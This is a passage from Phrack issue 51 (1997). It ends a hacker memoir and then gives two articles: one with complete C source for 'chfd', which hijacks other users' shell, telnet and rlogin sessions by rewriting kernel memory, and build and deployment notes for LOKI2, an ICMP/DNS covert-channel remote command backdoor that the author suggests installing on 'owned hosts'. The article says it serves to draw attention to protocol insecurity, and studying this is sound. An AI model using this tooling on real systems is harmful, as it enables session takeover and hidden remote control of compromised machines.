Then I cleaned myself and got the hell out of there... pulse pounding, freaked by my own insatiable lust. Is what I did "WRONG"? Don't judge me with your pithy concepts of morality! I stood before God with my pants around my ankles and expressed what was in my heart. If that's wrong, damn... I don't want to be right!

Playing a party where a gang fight broke out, caps were busted during our set, and we had to drop our instruments to flee for our livez (and hide under cars).

Falling in love. Getting dumped. Lather, rinse, repeat.

Going to the various hacker cons is always a blast. Some people have a negative attitude about these things 'cause a lot of kids go and act retarded.

Which is unfortunate, but I always manage to have a great time. These are the only times I get to visit with cDc people and it's like a big bonding session... we just run around and hang out. Meet lots of cool people in general, every time. So go to the cons and don't cause problems, and everything'll be fine.

Starting cDc communications. In some ways this has been an important item in my life. Not that editing text files is a huge important thing, 'cause it's not. But cDc, at its best, has taught me that I can have a role in making something creative and interesting and lasting. Things like that can carry over into a lot of aspects in your life. In 1984 I was a junior high student and now I'm 27 years old. cDc has changed a lot of course, as it should, but I think with our longevity we've worked towards finding a new way to relate to technology and the emerging global structure. I was fourteen and part of the wave of hacker kids who had been growing up with Atari 2600s at home and the video arcade after school... we saw the movie Wargames and got excited. I was lucky and had an Apple][at home, and soon a modem my dad brought home from work. You figured out some Stupid Phone Tricks and bam, in no time you were typing away to other kids on BBSes across the country, sharing.... codez and warez, sure, but more importantly we shared experiences. This was NEW.
I remember how exciting it was to call teenager-run boards across the country in the early '80s and exchange messages with these people. Now kids can grow up from the get-go with the Internet in their house and I think that's just great. So my friends and I were writing things and doing goofy drawings and whatnot, and could have put out a regular paper 'zine. But we figured out pretty early on that the one big advantage these text files we wrote had over some photocopied sheets we could staple together was distribution. If we'd done a paper 'zine, we could have maybe scraped up enough cash for 50 copies or so and forced some friends to take them and then they'd end up at the bottom of a closet or in the trash in a few weeks, forgotten. But instead, we used those Stupid Phone Tricks hundreds of times... staying up all night, with school looming ahead in a few hours. But hey, gotta call that AE in New Jersey and upload the latest text files. You can always sleep through class.

But what makes CULT OF THE DEAD COW different and has enabled us to last is that cDc has never been about technology... we didn't form to trade "inpho" and hack together like the other groups. We used technology, be it hand - hacked MCI codes or the Internet to get our "messages" out there. Hacking is a means to an end. I don't give a rat's ass about hacking or any of that crap on its own. I just want to make cool stuff. Now we're starting a "paramedia" concept which means the end of cDc as a "hacker group that puts out text files." Now we're putting out our own original music and other audio files, to be distributed just like our text stuff has traditionally been. The bandwidth is finally here where we can do it... and when it's practical, we'll be putting out video stuff too. The idea is to be able to do whatever sort of creative work we want and to use our huge distribution network to disseminate it. That's what "cDc paramedia" and the future of our whole group is about.

Somebody who was making his college schedule wrote me email the other day, and asked "What classes should I take? I wanna be a hacker." I told him he'd be better off with some history and business courses. Please understand, I don't mean to diss on hacking. I'm all for having all the knowledge you can and exploring things, whatever they may be. But I've met a lot of bitter old "gadget freaks" in this scene, and that's something you want to stay away from.

That mentality will crush the life out of you under the weight of a thousand bits of trivia. Go outside, there's a world there already. It's a zillion times more exciting and vibrant that what you can build staring into a monitor's dim glare. Hour after hour, year after year. As your eyesight fails you and your head draws nearer the image, your shoulders slump. You become weak. You are less.

----------------[People to mention

The Egyptian Lover: The whole 806 NPA's only real phreak who ran a great

BBS, The Missing Link, in 1984. I've only seen him a couple of times in person, but have to give him mad props for helping Franken Gibe and myself get situated with the phreak knowledge. His board attracted guys from The Apple Mafia and The Untouchables (the first warez groups ever), and The Knights of Shadow. Though I'd been getting warez since 1982, The Missing Link was our first contact with the real "elite" h/p scene, and it both fascinated and repulsed us.

Franken Gibe: Bill helped start and really define cDc back in the day. He's a really cool guy. I've known him for over ten years. What can I say? We're still, to this day, working on things; though he hasn't been active in cDc since '89 or so. Now we're trying to start an advertising agency.

Tippy Turtle: Jason gave me my first local BBS number. I pushed him to finish "Bunny Lust", which is one of our most popular articles ever. There have been court cases inspired by that file, and he wrote it when he was fourteen. He came back to town last Christmas and I showed him the cDc web site. His comment? "That's totally evil. I can't believe how evil this is."

Mohawk Dave: Christoph is another one of my oldest friends who never fails to diss cDc. He's a mega-talented AI/robotics guy, and a rad guitarist and BMX freestyle rider too. Our group of friends spent countless hours cruising the neighborhoods of our hometown on bikes, talking, setting fires, breaking & entering, and having a good ol' time.

Ex-girlfriends: Blech.

All the other cDc people. Dang, there've been maybe fifty or so over the years and they've all done their thing well and I'm really happy they did. They know what's up... this part could run on forever, so I'll just stop.

----------------[Pearls Of Wisdom

Procrastination is the denial of death.
Lift with your legs, not your back.

----[EOF

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 05 of 17

-------------------------[File Descriptor Hijacking

--------[orabidoo <odar@pobox.com>

Introduction

We often hear of tty hijacking as a way for root to take over a user's session. The traditional tools for this use STREAMS on SysV machines, and one article in Phrack 50 presented a way to do it in Linux, using loadable modules.

I'll describe here a simple technique that lets root take over a local or remote session. I've implemented it for Linux and FreeBSD; it should be easy to port it to just about any Un*x-like system where root can write to kernel memory.

The idea is simple: by tweaking the kernel's file descriptor tables, one can forcefully move file descriptors from one process to another. This method allows you to do almost anything you want: redirect the output of a running command to a file, or even take over your neighbor's telnet connection.

How the kernel keeps track of open file descriptors

In Un*x, processes access resources by means of file descriptors, which are obtained via system calls such as open(), socket() and pipe(). From the process's point of view, the file descriptor is an opaque handle to the resource. File descriptors 0, 1 and 2 represent standard input, output and error, respectively. New descriptors are always allocated in sequence.

On the other side of the fence, the kernel keeps, for each process, a table of file descriptors (fds), with a pointer to a structure for each fd. The pointer is NULL if the fd isn't open. Otherwise, the structure holds information about what kind of fd it is (a file, a socket, a pipe, etc), together with pointers to data about the resource that the fd accesses (the file's inode, the socket's address and state information, and so on).

The process table is usually an array or a linked list of structures. From the structure for a given process, you can easily find a pointer to the internal fd table for that process.

In Linux, the process table is an array (called "task") of struct task_struct's, and includes a pointer to a struct files_struct, which has the fd array (look at /usr/include/linux/sched.h for details). In SunOS 4, the process table is a linked list of struct proc's, which include a pointer to the u_area, which has info about the fds (look at /usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called "allproc") of struct proc's, which include a pointer to a struct filedesc with the fd table (also according to /usr/include/sys/proc.h).

If you have read and write access to the kernel's memory (which, in most cases, is the same as having read/write access to /dev/kmem), there's nothing to prevent you from messing with these fd tables, stealing open fd's from a process and reusing them in another one.

The only major case where this won't work are systems based on BSD4.4 (such as {Free, Net, Open}BSD) running at a securelevel higher than 0. In that mode, write access to /dev/mem and /dev/kmem is disabled, among other things. However, many BSD systems run at securelevel -1, which leaves them vulnerable, and in many others it may be possible to get the securelevel to be -1 at the next boot by tweaking the startup scripts. On FreeBSD, you can check the securelevel with the command "sysctl kern.securelevel". Linux also has securelevels, but they don't prevent you from accessing /dev/kmem.

File descriptor hijacking

The kernel's internal variables are really not made to be modified like this by user programs, and it shows.

First of all, on a multitasking system, you have no guarantee that the kernel's state won't have changed between the time you find out a variable's address and the time you write to it (no atomicity). This is why these techniques shouldn't be used in any program that aims for reliability. That being said, in practice, I haven't seen it fail, because the kernel doesn't move this kind of data around once it has allocated it (at least for the first 20 or 32 or 64 or so fds per process), and because it's quite unlikely that you'll do this just when the process is closing or opening a new fd.

You still want to try it?

For simplicity's sake, we won't try to do things like duplicating an fd between two processes, or passing an fd from one process to another without passing another one in return. Instead, we'll just exchange an fd in one process with another fd in another process. This way we only have to deal with open files, and don't mess with things like reference counts. This is as simple as finding two pointers in the kernel and switching them around. A slightly more complicated version of this involves 3 processes, and a circular permutation of the fds.

Of course, you have to guess which fd corresponds to the resource you want to pass. To take complete control of a running shell, you'll want its standard input, output and error, so you'll need to take the 3 fds 0, 1 and 2. To take control of a telnet session, you'll want the fd of the inet socket that telnet is using to talk to the other side, which is usually 3, and exchange it with another running telnet (so it knows what to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell you which fds the process is using.

Using chfd

I've implemented this for Linux and FreeBSD; it would be fairly easy to port to other systems (as long as they let you write to /dev/mem or /dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to figure out how it works).

To compile chfd for Linux, you need to figure out a couple things about the running kernel. If it's a 1.2.13 or similar, you'll need to uncomment the line /* #define OLDLINUX */, because the kernel's structures have changed since then. If it's 2.0.0 or newer, it should work out of the box, although it could change again...

Then you need to find the symbol table for the kernel, which is usually in /boot/System.map or similar. Make sure this corresponds to the kernel that is actually running, and look up the address for the "task" symbol. You need to put this value in chfd, instead of "00192d28". Then compile with "gcc chfd.c -o chfd".

To compile chfd for FreeBSD, just get the FreeBSD code and compile it with "gcc chfd.c -o chfd -lkvm". This code was written for FreeBSD 2.2.1, and might need tweaking for other versions.

Once it's compiled, you invoke chfd with

```
        chfd pid1 fd1 pid2 fd2
```

or

```
        chfd pid1 fd1 pid2 fd2 pid3 fd3
```

In the first case, the fds are just swapped. In the second case, the second process gets the first's fd, the third gets the second's fd, and the first gets the third's fd.

As a special case, if one of the pids is zero, the corresponding fd is discarded, and a fd on /dev/null is passed instead.

Example 1

. a long calculation is running with pid 207, and with output to the tty
. you type "cat > somefile", and look up cat's pid (say 1746)

Then doing

```
        chfd 207 1 1746 1
```

will redirect the calculation on the fly to the file "somefile", and the cat to the calculation's tty. Then you can ^C the cat, and leave the calculation running without fear of important results scrolling by.

Example 2

. someone is running a copy of bash on a tty, with pid 4022
. you are running another copy of bash on a tty, with pid 4121

Then you do

```
        sleep 10000
          # on your own bash, so it won't read its tty for a while,
          # otherwise your shell gets an EOF from /dev/null and leaves
          # the session immediately
        chfd 4022 0 0 0 4121 0
        chfd 4022 1 0 0 4121 1
        chfd 4022 2 0 0 4121 2
```

and you find yourself controlling the other guy's bash, and getting the output too, while the guy's keystrokes go to /dev/null. When you exit the shell, he gets his session disconnected, and you're back in your sleep 10000 which you can safely ^C now.

Different shells might use different file descriptors; zsh seems to use fd 10 to read from the tty, so you'll need to exchange that too.

Example 3

. someone is running a telnet on a tty, with pid 6309
. you start a telnet to some worthless port that won't drop the
  connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
  whatever), with pid 7081
. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
  telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.

Then doing

```
        chfd 6309 3 7081 3 0 0
```

will replace the network connection with a /dev/null on the guy's telnet (which reads an EOF, so he'll get a "Connection closed by foreign host."), and your telnet finds itself connected to the guy's remote host. At this point you'll probably need to press ^] and type "mode character" to tell your telnet to stop echoing your lines locally.

Example 4

- someone is running an rlogin on a tty; each rlogin uses two processes, with pids 4547 and 4548
- you start an rlogin localhost on another tty, with pids 4852 and 4855
- a quick look at the relevant /proc/../fds tells you that each of the rlogin processes is using fd 3 for the connection.

Then doing

```
        chfd 4547 3 4552 3
        chfd 4548 3 4555 3
```

does just what you expect. Except that your rlogin may still be blocked by the kernel because it's waiting on an event that won't happen (having data to read from localhost); in that case you wake it up with a kill -STOP followed by 'fg'.

You get the idea. When a program gets another one's fd, it's important that it knows what to do with it; in most cases you achieve this by running a copy of the same program you want to take over, unless you're passing a fd on /dev/null (which gives an EOF) or just passing stdin/stdout/stderr.

Conclusion

As you can see, you can do quite powerful things with this. And there isn't really much you can do to protect yourself from some root doing this, either.

It could be argued that it's not even a security hole; root is *supposed* to be able to do these things. Otherwise there wouldn't be explicit code in the drivers for /dev/kmem to let you write there, would there?

The Linux code

```
<++> fd_hijack/chfd-linux.c
/*  chfd - exchange fd's between 2 or 3 running processes.
 *
 *  This was written for Linux/intel and is *very* system-specific.
 *  Needs read/write access to /dev/kmem; setgid kmem is usually enough.
 *
 *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
 *
 *  With two sets of arguments, exchanges a couple of fd between the
 *  two processes.
 *  With three sets, the second process gets the first's fd, the third gets
 *  the second's fd, and the first gets the third's fd.
 *
 *  Note that this is inherently unsafe, since we're messing with kernel
 *  variables while the kernel itself might be changing them.  It works
 *  in practice, but no self-respecting program would want to do this.
 *
 *  Written by: orabidoo <odar@pobox.com>
 *  First version: 14 Feb 96
 *  This version: 2 May 97
 */


#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
```

```
#define __KERNEL__              /* needed to access kernel-only definitions */
#include <linux/sched.h>

/* #define OLDLINUX */          /* uncomment this if you're using Linux 1.x;
                                   tested only on 1.2.13 */

#define TASK 0x00192d28         /* change this! look at the system map,
                                   usually /boot/System.map, for the address
                                   of the "task" symbol */

#ifdef OLDLINUX
#  define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
#  define AD(fd) (taskp + FD0 + 4*(fd))
#else
#  define FILES ((char *)&ts.files - (char *)&ts)
#  define FD0 ((char *)&fs.fd[0] - (char *)&fs)
#  define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
#endif


int kfd;
struct task_struct ts;
struct files_struct fs;
int taskp;

int readval(int ad) {
  int val, r;

  if (lseek(kfd, ad, SEEK_SET) < 0)
    perror("lseek"), exit(1);
  if ((r = read(kfd, &val, 4)) != 4) {
    if (r < 0)
      perror("read");
    else fprintf(stderr, "Error reading...\n");
    exit(1);
  }
  return val;
}

int readvalz(int ad) {
  int r = readval(ad);
  if (r == 0)
    fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  return r;
}

void writeval(int ad, int val) {
  int w;

  if (lseek(kfd, ad, SEEK_SET) < 0)
    perror("lseek"), exit(1);
  if ((w = write(kfd, &val, 4)) != 4) {
    if (w < 0)
      perror("write");
    else fprintf(stderr, "Error writing...\n");
    exit(1);
  }
}

void readtask(int ad) {
  int r;

  if (lseek(kfd, ad, SEEK_SET)<0)
    perror("lseek"), exit(1);
  if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
        sizeof(struct task_struct)) {
    if (r < 0)
      perror("read");
    else fprintf(stderr, "Error reading...\n");
    exit(1);
  }
}

void findtask(int pid) {
  int adr;

  for (adr=TASK; ; adr+=4) {
    if (adr >= TASK + 4*NR_TASKS)
      fprintf(stderr, "Process not found\n"), exit(1);
    taskp = readval(adr);
    if (!taskp) continue;
    readtask(taskp);
    if (ts.pid == pid) break;
  }
}

int main(int argc, char **argv) {
  int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
  int three=0;

  if (argc != 5 && argc != 7)
    fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
    exit(1);

  pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  if (argc == 7)
    pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

  if (pid1 == 0)
    pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  if (pid2 == 0)
    pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  if (three && pid3 == 0)
    pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

  kfd = open("/dev/kmem", O_RDWR);
  if (kfd < 0)
    perror("open"), exit(1);

  findtask(pid1);
  ad1 = AD(fd1);
  val1 = readvalz(ad1);
  printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

  findtask(pid2);
  ad2 = AD(fd2);
  val2 = readvalz(ad2);
  printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

  if (three) {
    findtask(pid3);
    ad3 = AD(fd3);
    val3 = readvalz(ad3);
    printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  }

  if (three) {
    if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad2, val1);
    writeval(ad3, val2);
    writeval(ad1, val3);
  } else {
    if (readval(ad1)!=val1 || readval(ad2)!=val2) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad1, val2);
    writeval(ad2, val1);
  }
  printf("Done!\n");
}

<-->
```

The FreeBSD code

```
<++> fd_hijack/chfd-freebsd.c

/*  chfd - exchange fd's between 2 or 3 running processes.
 *
 *  This was written for FreeBSD and is *very* system-specific.  Needs
 *  read/write access to /dev/mem and /dev/kmem; only root can usually
 *  do that, and only if the system is running at securelevel -1.
 *
 *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
 *  Compile with: gcc chfd.c -o chfd -lkvm
 *
 *  With two sets of arguments, exchanges a couple of fd between the
 *  two processes.
 *  With three sets, the second process gets the first's fd, the third
 *  gets the second's fd, and the first gets the third's fd.
 *
 *  Note that this is inherently unsafe, since we're messing with kernel
 *  variables while the kernel itself might be changing them.  It works
 *  in practice, but no self-respecting program would want to do this.
 *
 *  Written by: orabidoo <odar@pobox.com>
 *  FreeBSD version: 4 May 97
 */


#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <sys/proc.h>

#define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
#define FILES ((char *)&p.p_fd - (char *)&p)
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))

kvm_t *kfd;
struct proc p;
u_long procp, allproc;
struct nlist nm[2];

u_long readval(u_long ad) {
  u_long val;

  if (kvm_read(kfd, ad, &val, 4) != 4)
    fprintf(stderr, "error reading...\n"), exit(1);
  return val;
}

u_long readvalz(u_long ad) {
  u_long r = readval(ad);
  if (r == 0)
    fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  return r;
}

void writeval(u_long ad, u_long val) {
  if (kvm_write(kfd, ad, &val, 4) != 4)
    fprintf(stderr, "error writing...\n"), exit(1);
}
```

```
void readproc(u_long ad) {
  if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
    fprintf(stderr, "error reading a struct proc...\n"), exit(1);
}

void findproc(int pid) {
  u_long adr;

  for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
    procp = adr;
    readproc(procp);
    if (p.p_pid == pid) return;
  }
  fprintf(stderr, "Process not found\n");
  exit(1);
}

int main(int argc, char **argv) {
  int pid1, fd1, pid2, fd2, pid3, fd3;
  u_long ad1, val1, ad2, val2, ad3, val3;
  int three=0;

  if (argc != 5 && argc != 7)
    fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
    exit(1);

  pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  if (argc == 7)
    pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

  if (pid1 == 0)
    pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  if (pid2 == 0)
    pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  if (three && pid3 == 0)
    pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

  kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
  if (kfd == NULL) exit(1);

  bzero(nm, 2*sizeof(struct nlist));
  nm[0].n_name = "_allproc";
  nm[1].n_name = NULL;
  if (kvm_nlist(kfd, nm) != 0)
    fprintf(stderr, "Can't read kernel name list\n"), exit(1);
  allproc = nm[0].n_value;

  findproc(pid1);
  ad1 = AD(fd1);
  val1 = readvalz(ad1);
  printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

  findproc(pid2);
  ad2 = AD(fd2);
  val2 = readvalz(ad2);
  printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

  if (three) {
    findproc(pid3);
    ad3 = AD(fd3);
    val3 = readvalz(ad3);
    printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  }

  if (three) {
    if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad2, val1);
    writeval(ad3, val2);
    writeval(ad1, val3);
  } else {
    if (readval(ad1)!=val1 || readval(ad2)!=val2) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad1, val2);
    writeval(ad2, val1);
  }
  printf("Done!\n");
}

<-->

----[  EOF
```

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17

-------------------------[L O K I 2 (the implementation)

--------[daemon9 <route@infonexus.com>

----[Introduction

This is the companion code to go with the article on covert channels in network protocols that originally appeared in P49-06. The article does not explain the concepts, it only covers the implementation. Readers desiring more information are directed to P49-06.

LOKI2 is an information-tunneling program. It is a proof of concept work intending to draw attention to the insecurity that is present in many network protocols. In this implementation, we tunnel simple shell commands inside of ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic. To the network protocol analyzer, this traffic seems like ordinary benign packets of the corresponding protocol. To the correct listener (the LOKI2 daemon) however, the packets are recognized for what they really are. Some of the features offered are: three different cryptography options and on-the-fly protocol swapping (which is a beta feature and may not be available in your area).

The vulnerabilities presented here are not new. They have been known about and actively exploited for years. LOKI2 is simply one possible implementation. Implementations of similar programs exist for UDP, TCP, IGMP, etc... This is by no means limited to type 0 and type 8 ICMP packets.

Before you go ahead and patch owned hosts with lokid, keep in mind that when linked against the crypto libraries, it is around 70k, with about 16k alone in the data segment. It also forks off at least twice per client request. This is not a clandestine program. You want clandestine? Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it part of the O/S.

----------------------[BUILDING AND INSTALLATION

Building LOKI2 should be painless. GNU autoconf was not really needed for this project; consequently you may have to edit the Makefile a bit. This shouldn't be a problem, becuase you are very smart.

----[I. Edit the toplevel Makefile

1) Make sure your OS is supported. As of this distribution, we suppport the following (if you port LOKI2 to another architecture, please send me the diffs):

```
            Linux   2.0.x
            OpenBSD 2.1
            FreeBSD 2.1.x
            Solaris 2.5.x
```

2) Pick an encryption technology. STRONG_CRYPTO (DH and Blowfish), WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).

3) If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ. You will also need SSLeay (see below).

4) Chose whether or not to allocate a psudeo terminal (PTY) (may not be implemented) or just use popen (POPEN) and use the `pipe -> fork -> exec -> sh` sequence to execute commands.

5) See Net/3 restrictions below and adjust accordingly.

6) Pausing between sends is a good idea, especially when both hosts are on the same Ethernet. We are dealing with a potentially lossy protocol and there is no reliablity layer added as of this version... SEND_PAUSE maintains some order and keeps the daemon from spewing packets too fast.

   You can also opt to increase the pause to a consdiderably larger value, making the channel harder to track on the part of the netework snooper. (This would, of course, necessitate the client to choose an even larger MIN_TIMEOUT value.

----[II. Supplemental librarys

1) If you are using STRONG_CRYPTO you will need to get the SSLeay crypto library, version 0.6.6. DO NOT get version 0.8.x as it is untested with LOKI2. Hopefully these URLs will not expire anytime soon:

   ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
   ftp://ftp.uni-mainz.de/pub/internet/security/ssl

2) Build and install SSLeay. If you decide not to install it, Make sure you correct the crypto library path LIB_CRYPTO_PATH in the Makefile and include paths in loki.h.

----[III. Compilation and linking

1) From the the toplevel directory, `make systemtype`.

2) This will build and strip the executables.

----[IV. Testing

1) Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`

2) Start up a client `./loki -d localhost`

3) Issue an `ls`.

4) You should see a short listing of the root directory.

5) Yay.

6) For real world testing, install the daemon on a remote machine and go to town. See below for potential problems.

----[V. Other Options

The loki.h header file offers a series of configurable options.

MIN_TIMEOUT is the minimum amount of time in whole seconds the client will wait for a response from the server before the alarm timer goes off.

MAX_RETRAN (STRONG_CRYPTO only) is the maximum amount of time in whole seconds the client will retransmit its initial public key handshaking packets before giving up. This feature will be deprecated when a reliability layer is added.

MAX_CLIENT is the maximum amount of clients the server will accept and service concurrently.

KEY_TIMER is the maximum amount of time in whole seconds an idle client entry will be allowed to live in the servers database. If this amount of time has elapsed, all entries in the servers client database that have been inactive for KEY_TIMER seconds will be removed. This provides the server with a simple way to clean up resources from crashed or idle clients.

----------------------[LOKI2 CAVEATS AND KNOWN BUGS

Net/3 Restrictions

Under Net/3, processes interested in receiving ICMP messages must register with the kernel in order to get these messages. The kernel will then pass all ICMP messages to these registered listeners, EXCEPT for damaged ICMP packets and request packets. Net/3 TCP/IP implementations will not pass ICMP request messages of any kind to any registered listeners. This is a problem if we are going to be using ICMP_ECHO (a request type packet) and want it to be directly passed to our user-level program (lokid). We can get around this restriction by inverting the flow of the transactions. We send ICMP_ECHOREPLYs and elicit ICMP_ECHOs.

Note, that under Linux, we do not have this probem as ALL valid ICMP packets are delivered to user-level processes. If the daemon is installed on a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of tunneling. Compile with -DNET3 according to this chart:

	Client			
Daemon	-------	Linux	*bsd*	Solaris
	Linux	no	yes	yes
	bsd	no	yes	yes
	Solaris	no	opt	opt

The Initialization Vector

When using Strong Crypto, the initialization vector (ivec) incrementation is event based. Every time a packet is sent by the client the client ivec is incremented, and, every time a packet is received by the server, the server side ivec is also incremented. This is fine if both ends stay in sync with each other. However, we are dealing with a potentially lossy protocol. If a packet from the client to the server is dropped, the ivecs become desynched, and the client can no longer communicate with the server.

There are two easy ways to deal with this. One would be to modify the ivec permutation routine to be time-vector based, having the ivecs increase as time goes by. This is problematic for several reasons. Initial synchronization would be difficult, especially on different machine architectures with different clock interrupt rates. Also, we would also have to pick a relatively small time interval for ivec permutations to be effective on fast networks, and the smaller the ivec time differential is, the more the protocol would suffer from clock drift (which is actually quite considerable).

Protocol Swaping

Swapping protocols is broken in everything but Linux. I think it has something to do with the Net/3 socket semantics. This is probably just a bug I need to iron out. Quite possibly something I did wrong. *shrug*... Nevermind the fact that the server isn't doing any synchronous I/O multiplexing, consequently, swapping protocols requires a socket change on everone's part. This is why this feature is 'beta'.

Authentication

Um, well, there is none. Any client can connect to the server, and any client can also cause the server to shut down. This is actually not a bug or a caveat. It is intentional.

I/O

Should be done via select.

----------------------[TODO LIST

- possible time vector-based ivec permutation instead of event-based as event based is prone to synch failures, OR, even better, a reliability layer.

----[The technologies

----------------------[SYMMETRIC BLOCK CIPHER

A symmetric cipher is one that uses the same key for encryption and decryption, or the decryption key is easily derivable from the encryption key. Symmetric ciphers tend to be fast and well suited for bulk encryption, but suffer from woeful key distribution problems. A block cipher is simply one that encrypts data in blocks (usually 64-bits). The symmetric block cipher employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.

----------------------[CFB MODE

Symmetric block ciphers can be implemented as self-synchronizing stream ciphers. This is especially useful for data that is not suitable for padding or when data needs to processed in byte-sized chunks. In CFB mode, data is encrypted in units smaller then the block size. In our case, each encryption of the 64-bit block cipher encrypts 8-bits of plaintext. The initialization vector, which is used to seed the process, must be unique but not secret. We use every 3rd byte of the symmetric key for our IV. The IV must change for each message, to do this, we simply increment it as packets are generated.

----------------------[BLOWFISH

Blowfish is a variable key length symmetric cipher designed by Bruce Schneier. It is a portable, free, fast, strong algorithm.
It offers a key length of up to 448-bits, however, for LOKI2 we use
a 128-bit key.

----------------------[ASYMMETRIC CIPHER

An asymmetric cipher makes use of two keys, coventionally called the private key and public key. These two keys are mathematically related such that messages encrypted with one, can only be decrypted by the other. It is also infeasible to derive one key from the other. Asymmetric ciphers solve the problem of key management by negating the need for a shared secret, however they are much slower the symmetric ciphers. The perfect world in this case is a hybrid system, using both a symmetric cipher for key exchange and a symmetric cipher for encryption. This is the scheme employed in LOKI2.

---------------------[DIFFIE - HELLMAN

In 1976, Whitfield Diffie and Marty Hellman came forth with the first asymmetric cipher (DH). DH cannot be used for encryption, only for symmetric key exchange. The strength of DH relies on the apparent difficulty in computing discrete logarithms in a finite field. DH generates a shared secret based off of 4 components:

P	the public prime
g	the public generator
c{x, X}	the client's private/public keypair
s{y, Y}	the server's private/public keypair
SS	the shared secret (from the which the key is extracted)

```
The protocol for secret generation is simple:

        Client                          Server
        ------                          ------
1)    X = g ^ x mod P
2)                           X -->
3)                                    Y = g ^ y mod P
4)                       <-- Y
5)    SS = Y ^ x mod P                SS = X ^ y mod P


----------------------[  NETWORK FLOW

    L O K I 2
    Covert channel implementation for Unix
    ----------------------------------------------------------------------
                                                daemon9|route [guild 1997]
  ----------------
  | LOKI2 CLIENT |
  ----------------           -----------------------------------
   ^      |  sendto()        |  FIRST GENERATION LOKI2 DAEMON  |
   |      |                  -----------------------------------
   |      |  client sends     |  shadow()     server forks
   |      |  data             v
   |      v                   |
   |      |               -----
   |      |               |
   |      |               |
   |      |               v fork()
   |      |             -----
   |      |            C|   |P
   |      v             |   |
   |      |             |   ----> clean_exit()          parent exits
   |      |             |
   |      |             |  2nd generation child daemon becomes leader of a new
   |      |             |  session, handles initial network requests
   ^      |             |
   |      |             v
   |      |            ------------------------------
   |      ----------->  |  SECOND GENERATION DAEMON  | read()    blocks until
   |      LOKI2        ------------------------------           data arrives
   |      network             |          ^
   |      traffic             |          |
   |                          |          |
   -------<----               |          |
              |               |          |
              |               |          |
              |               |          |
              |               v fork()   |
              |            -----         |
              ^           C|   |P        |
              |            |   |         | parent continues
              |            |   --->------
              |            |
              |            |  3rd generation daemon handles client request
              |            v
              |     -----------------------------
              --<---|  THIRD GENERATION DAEMON  |
                    -----------------------------
                        switch(PACKET_TYPE)

                    L_PK_REQ:             L_REQ:
                     STRONG_CRYPTO           POPEN
                     key management    PTY     |
                                        |     pipe()  <---------
                                        |      |               |
     -------<--------------------<------       |               |
     |                                      ----               |
     |                                      |                  |
     |                                      v fork()           |
     v                                    -----                |
  Unimplemented (7.97)                   C|   |P               |
                                          |   |                ^
                                          |   ----> exit()     |
                                          |                    |
                 4th generation child     |     ---->------->---
                 daemon execs commands    v     |
                      ------------------------------
                      |  FOURTH GENERATION DAEMON  |  exec()    4g child execs
                      ------------------------------            command in
                        STDOUT of command                        /bin/sh
                        to client via pipe
```

----------------------[THANKS

    snocrash for being sno,
    nirva for advice and help and the use of his FreeBSD machine,
    mycroft for advice and the use of his Solaris machine,
